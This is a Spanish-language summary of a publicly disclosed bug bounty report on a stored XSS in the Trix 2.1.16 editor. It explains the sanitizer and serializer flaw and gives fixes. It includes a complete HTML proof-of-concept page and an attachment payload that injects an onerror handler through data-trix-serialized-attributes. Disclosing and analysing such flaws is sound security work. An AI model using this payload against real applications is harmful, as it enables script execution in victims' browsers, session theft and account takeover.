Resumen
Trix es el editor de texto enriquecido de código abierto que mantiene Basecamp. En su versión 2.1.16 (la última en el momento del reporte) el investigador encontró un XSS almacenado que nace de la combinación de dos piezas que, por separado, parecen inofensivas:
- El sanitizador. Trix usa DOMPurify con un hook propio, en
src/trix/models/html_sanitizer.js, que obliga a conservar cualquier atributo cuyo nombre empiece pordata-trix-(la condición es la expresión regular/^data-trix-/). Es decir, todo lo que lleve ese prefijo pasa el filtro sin mirarse. - El serializador. Al convertir el estado interno del editor de nuevo en HTML (por ejemplo al enviar el formulario o al leer
editor.value),src/trix/core/serialization.jsrecupera los atributos estándar que se pierden durante la edición. Los guarda en un atributo especial,data-trix-serialized-attributes, que contiene un JSON de pares nombre-valor. En la serialización ese JSON se parsea y cada par se aplica conel.setAttribute(name, value), sin ninguna comprobación adicional.
El atacante solo tiene que meter un data-trix-serialized-attributes dentro de la propiedad content de un adjunto (data-trix-attachment). DOMPurify lo deja pasar por el prefijo, y luego el serializador lo convierte en atributos reales, incluidos manejadores de eventos como onerror. El HTML que exporta Trix ya lleva el JavaScript dentro, y se ejecuta cuando la aplicación que usa el editor lo muestra.
Según el investigador, es un bypass directo de los arreglos aplicados a dos reportes anteriores sobre Trix: el 2521419 (XSS almacenado en la versión 2.1.1) y el 2819573 (XSS por mutación en la 2.1.8).
Pasos de reproducción
El fallo afecta a cualquier aplicación que integre Trix y, según el reporte, también se puede ver en el entorno de pruebas oficial, https://trix-editor.org/.
- Abre en el navegador esta página HTML, que carga Trix 2.1.16 y escribe en la página un texto "copy me" con el adjunto malicioso entre las dos palabras. El botón simula que el backend guarda el HTML del editor y lo pinta en otra página:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Trix Editor v2.1.16 XSS Demo</title>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/trix.umd.min.js"></script>
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/trix.min.css" rel="stylesheet">
</head>
<body>
<h1>Trix Editor v2.1.16 XSS Demo</h1>
<!--
The following script simulates rendering user-supplied content that contains the malicious data-trix-attachment with our serialization bypass payload.
-->
<script>
document.write(`copy<figure data-trix-attachment="{"contentType":"text/html","content":"<img src=\\"x\\" data-trix-serialized-attributes=\\"{&quot;onerror&quot;:&quot;alert('XSS IN v2.1.16')&quot;}\\">"}"></figure>me`);
</script>
<h2>Simulate Backend Save & Render</h2>
<button onclick="triggerXSS()">Trigger XSS</button>
<div id="output"></div>
<script>
function triggerXSS() {
// 1. Get the serialized HTML output that Trix generated
var output = document.querySelector("trix-editor").value;
console.log("Serialized HTML:", output);
// 2. Simulate the application rendering this saved output on another page
var div = document.getElementById("output");
div.innerHTML = output;
}
</script>
</body>
</html>
- Selecciona y copia el texto
copy mede la página. - Pégalo dentro del editor Trix.
- Aparece de inmediato un
alert, prueba de que se ha ejecutado JavaScript arbitrario.
La pieza clave del payload es el adjunto, que, desescapado, viene a ser una imagen rota con el atributo de Trix que transporta el manejador:
<img src="x" data-trix-serialized-attributes="{"onerror":"alert('XSS IN v2.1.16')"}">
Impacto
Cualquier aplicación que acepte texto enriquecido de usuarios no confiables con Trix y muestre después el HTML serializado a otras personas queda expuesta a XSS almacenado. Basta con que el atacante consiga que su contenido se guarde: el script se ejecuta en el navegador de quien lo visualice. Con ello, según el investigador, podría robar cookies de sesión, tomar el control de cuentas, redirigir a la víctima a webs maliciosas o realizar acciones en su nombre sin su consentimiento.
El programa calificó la severidad como baja y pagó recompensa, aunque el importe no es público. El reporte se envió el 2 de marzo de 2026, consta como resuelto y se divulgó el 14 de julio de 2026.
Remediación
El reporte no indica qué versión de Trix corrige el fallo ni cómo se arregló. El investigador propuso dos medidas:
- **Acotar el hook de DOMPurify.** Sustituir la expresión
/^data-trix-/desrc/trix/models/html_sanitizer.jspor una lista explícita de atributos permitidos e inofensivos (comodata-trix-id). - Volver a sanear lo que se deserializa. En
src/trix/core/serialization.js, al restaurar atributos desdedata-trix-serialized-attributes, limitarel.setAttributea atributos seguros (class,src,href) y rechazar de forma explícita los manejadores de eventos (on*), preferiblemente pasando el resultado por DOMPurify antes de reconstruir el DOM.